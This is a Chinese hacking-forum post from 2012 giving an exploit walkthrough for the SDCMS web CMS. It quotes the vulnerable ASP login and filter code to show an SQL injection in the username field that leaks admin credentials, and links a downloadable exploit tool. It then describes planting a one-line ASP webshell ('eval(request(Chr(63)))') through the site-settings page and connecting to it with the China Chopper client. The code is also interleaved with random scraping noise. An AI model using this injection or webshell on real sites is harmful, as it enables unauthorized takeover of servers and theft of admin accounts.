找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3345|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥; s9 e2 i8 ]7 m1 C: s! ~
漏洞文件:后台目录/index.asp3 ~' [3 W% A' q: h- @

; O( R* A* i' Y( J2 ESub Check
1 w+ B3 c% E* M8 r$ v    Dim username,password,code,getcode,Rs; \! [, t8 G: ^; C$ u7 o' X
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
6 {2 ~4 D8 D% q. }    username=FilterText(Trim(Request.Form("username")),1). \' i7 p, |  h0 q9 t$ J9 p% @
    password=FilterText(Trim(Request.Form("password")),1)
9 @, |6 D: V6 u; E( }) l$ T# @    code=Trim(Request.Form("yzm"))
% \* B. z: a4 U4 i    getcode=Session("SDCMSCode")
% Q" g8 u) ^* U: I# M    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died+ I7 P; y9 y$ W/ _9 M% z
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied5 `# x; `4 l, [
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied* n, I0 s/ M+ J3 M
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
# ^! J' v( V* ~& Y, `    IF username="" or password="" Then
" Z* i& @7 c( J4 g* X        Echo "用户名或密码不能为空"ied
- ?" b! P: ~# Z8 L% U    Else& w  l& \( J% ]; C' U6 b/ N
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")8 L4 T- B8 b( P6 _% ~5 W8 q
        IF Rs.Eof Then
2 {7 U- n: L4 o            AddLog username,GetIp,"登录失败",1
1 m) R- z. e4 H' }  J) q& c            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"* A" c  V0 Z/ F6 F% B
        Else3 p- x6 ]. o3 o% T
            Add_Cookies "sdcms_id",Rs(0)
3 \# Q- z# V2 `  ]- H$ B3 q5 H7 X            Add_Cookies "sdcms_name",username
: ~0 S" b$ a5 I) D7 P" t6 _2 p            Add_Cookies "sdcms_pwd",Rs(2)
5 g. d9 g: g) |. j( \* y) X8 U9 j6 O            Add_Cookies "sdcms_admin",Rs(3)  u# |8 F5 K) m# q. l& I" b, j; _0 Y
            Add_Cookies "sdcms_alllever",Rs(4)
! d5 ?3 W+ F3 \- T            Add_Cookies "sdcms_infolever",Rs(5)
: z, s# t: k5 u5 J: {; x            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&""). y2 [- e$ S8 X7 g: P8 C! B+ f
            AddLog username,GetIp,"登录成功",1+ B6 h' m4 I' `/ `, s
            '自动删除30天前的Log记录+ y! {9 r2 |6 `$ b
            IF Sdcms_DataType Then
; B: _- g/ E' M9 M, T5 j9 E                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")# ?3 o2 _. Y- k1 y! H
            Else
( w4 f6 J5 q3 [                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
2 p: Y- R, e+ ~  K            End IF4 r3 I4 A  X6 q, f7 S! W. L
            Go("sdcms_index.asp")
/ q* D1 h+ x) y; }2 C3 A        End IF
5 t" i+ D6 ~- d; Z  T        Rs.Close+ o) d; {+ A1 Z2 S6 @4 S
        Set Rs=Nothing
6 T5 R! U) x6 J, {# P  R& G    End IF
. s" x' s2 T& `' }5 I7 w; `  GEnd Sub$ n1 W6 I" G9 U5 S

; g: f$ b0 i2 {’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 A/ }% y; u5 \" ?' S& f
5 T- B8 m4 R& P# x
Function FilterText(ByVal t0,ByVal t1): T: j0 d! q2 `+ F8 g
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
/ i7 n, R5 ^% n4 o* U2 d    t0=Trim(t0)
6 d: j2 E$ y) k  i' e" ~( E    Select Case t1
( l) c% \: f( F6 M2 [- P1 ?% ^        Case "1"
  b% M$ w6 Q* H. W8 O            t0=Replace(t0,Chr(32),"")6 v, M. h' \; X; I7 ?$ ]" O/ A
            t0=Replace(t0,Chr(13),"")+ B- E9 B* F; z# R7 f/ i
            t0=Replace(t0,Chr(10)&Chr(10),"")9 L0 r4 P! I/ \0 h# C4 r: S
            t0=Replace(t0,Chr(10),"")0 n- Y! ]: R8 l; |5 X  L; I
        Case "2"
4 w6 L5 M9 i" C) d0 c( R            t0=Replace(t0,Chr(8),"")'回格. ?% `/ X5 |. ?( @0 i$ e: Z
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
* S  @9 A% \$ Y2 R) E) d0 J# R            t0=Replace(t0,Chr(10),"")'换行! {% Y+ G/ X, t2 E0 s) w0 D: t1 Z
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)% i$ x, B  p9 v, a+ D1 l
            t0=Replace(t0,Chr(12),"")'换页3 A8 o( P1 X* p) N* V$ Y, n# R. z
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合, Y3 d  \& T3 M* _: K% {
            t0=Replace(t0,Chr(22),"")
2 P! M/ p% W# r% ~( L$ A            t0=Replace(t0,Chr(32),"")'空格 SPACE
! w% l5 w( _' l6 p& j8 G3 u            t0=Replace(t0,Chr(33),"")'!
$ z. `/ `& V4 ]6 y            t0=Replace(t0,Chr(34),"")'"
% R, a1 V: Y* Q) i+ l3 `* G9 ?            t0=Replace(t0,Chr(35),"")'#6 f& O, N& @! O, ~7 T
            t0=Replace(t0,Chr(36),"")'$
+ J  F# A4 O) N" ?9 w( G            t0=Replace(t0,Chr(37),"")'%
$ m/ z# M5 c2 C$ l$ F! T4 q            t0=Replace(t0,Chr(38),"")'&
% Z6 D' G1 n4 N( ^2 t" r9 D: w8 T            t0=Replace(t0,Chr(39),"")''$ k5 f- k5 e. s& ]" l- h, v8 S
            t0=Replace(t0,Chr(40),"")'(
% \. ?" k% i8 l) _            t0=Replace(t0,Chr(41),"")')
# @  s4 G4 a2 m0 v" _' u            t0=Replace(t0,Chr(42),"")'*
- ?% ]1 P0 N; d2 S            t0=Replace(t0,Chr(43),"")'+
2 ?( V% u/ h' p3 j0 I            t0=Replace(t0,Chr(44),"")',* ~) g- {& J2 n# m# Z$ O* [
            t0=Replace(t0,Chr(45),"")'-
7 i; g$ h- b: `            t0=Replace(t0,Chr(46),"")'.
. @7 `2 K5 P7 M5 D  E4 D  j  T            t0=Replace(t0,Chr(47),"")'/' h& H) X3 m- \* j0 K. }. Z: @, l* x0 j
            t0=Replace(t0,Chr(58),"")':& B- K& r& f% `) q. `
            t0=Replace(t0,Chr(59),"")';) f/ R% h. p7 I' |1 D1 a* f9 q2 ?
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>) h2 i2 f6 z" ~; l7 D
            t0=Replace(t0,Chr(63),"")'?1 h& \3 D+ ^. t% O
            t0=Replace(t0,Chr(64),"")'@
' k$ s* ]7 s8 C$ ?5 h& n            t0=Replace(t0,Chr(91),"")'\/ }0 M  d7 n2 A3 c( x1 ~5 c$ E
            t0=Replace(t0,Chr(92),"")'\( b. t1 `: b1 ?+ E1 v. s
            t0=Replace(t0,Chr(93),"")']
* |* D- j% {- X2 P            t0=Replace(t0,Chr(94),"")'^. O+ z, M& o1 O1 ]( m& o
            t0=Replace(t0,Chr(95),"")'_; H% K( s  \' _9 x9 E$ j
            t0=Replace(t0,Chr(96),"")'`
, b* R3 K1 _- y( I9 H            t0=Replace(t0,Chr(123),"")'{& X; J. ^& ^0 n( e% p: F
            t0=Replace(t0,Chr(124),"")'|
# t  }4 R5 J1 H) O            t0=Replace(t0,Chr(125),"")'}
% |! d) \0 c5 A. v            t0=Replace(t0,Chr(126),"")'~
6 c8 R, ]2 V+ L' t9 U    Case Else
! }& r2 E7 F2 v' Y6 q  q8 G' v- M        t0=Replace(t0, "&", "&")
  p$ {9 s5 x7 R        t0=Replace(t0, "'", "'")
7 v: d$ z# U7 q, d5 ]        t0=Replace(t0, """", """)
6 j* Y# T6 v8 A: l        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
6 ]$ q9 N  n' u4 O/ ?! A( Y    End Select' s# U, s, r* Q2 F& i& C
    IF Instr(Lcase(t0),"expression")>0 Then+ V4 m& p1 X# o# C# _
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
8 Z, O: D+ O$ s6 T& a    End If) H* c8 x  X; A7 _* {
    FilterText=t02 t1 J' N; X+ h$ Y7 v
End Function
/ @- \& s" L, i4 w& _. @6 p6 z- N. y/ y$ a5 G; Y( F  u) I
看到没。直接参数是1 只过滤2 }0 D. H6 V- k% V! o1 v( \( |
                        t0=Replace(t0,Chr(32)," ")6 f: m  a4 l- c. S  b- x* t
                        t0=Replace(t0,Chr(13),""), |, q' ~! o6 o. Z
                        t0=Replace(t0,Chr(10)&Chr(10),"
8 m1 g8 K' K: v; q& a")- W$ G1 W& \0 C* {, I8 R0 |) X! N( d
                        t0=Replace(t0,Chr(10),"
9 p7 F9 f4 J* N! J")
, a; U3 n  p7 ]5 f! r6 h0 Z: K* X& u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
" R+ I0 o# v( t. H0 c0 m, v" CEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP5 k9 ?$ Z! v2 ]: ~. ^+ n; ]

; r  P/ \/ v$ S# t测试:! `" S& V3 a( n' H* I4 X( x" k

- z* r- A1 T" e0 g2 X6 T; s8 N+ C9 h4 p& t2 V9 {
现在输入工具上验证码,然后点OK" U- h2 f. q4 i2 s

! b+ c9 |5 K+ ^2 n) i6 Q# z* b0 j5 w5 {
看到我们直接进入后台管理界面了,呵呵!" D# P4 ^9 P4 X( P  R! O

8 _5 E. v  F4 h5 [: ^/ q8 T* D3 s" P+ H  O+ l
$ I6 x5 Y, D+ g* b5 Z, I: h) u3 j
这样直接进入后台了。。。。/ Z) J: P0 L5 y9 X) V$ Q% B

7 e8 H  y$ l) P5 ^  G4 P* K* Y& c
) y) {# u: F& z$ N& |. D- Z% F' r  k' ~! F1 e5 k+ y/ s# s
SDCMS提权:
1 i# m1 |5 V* s2 u2 ]% r+ n8 M1 ^: F$ R. w9 N& H
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?1 y0 n3 a9 v  u; T) k' P! V
4 R, T5 C' t7 {2 ?
4 c8 V, J2 B# i/ l! g! y: a
- O2 {3 R+ W: `  G2 V& d3 V3 S
OK,现在用菜刀连接下!7 V# k7 Y6 U6 l4 [
5 j7 I1 U% f1 I
; F( T% \' f- p) h
, A" K* n  d- m) K* z. N

& o7 ?$ n5 K+ ?' i  H3 x
& w, B, v& q$ T, d) \; S9 ^' d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表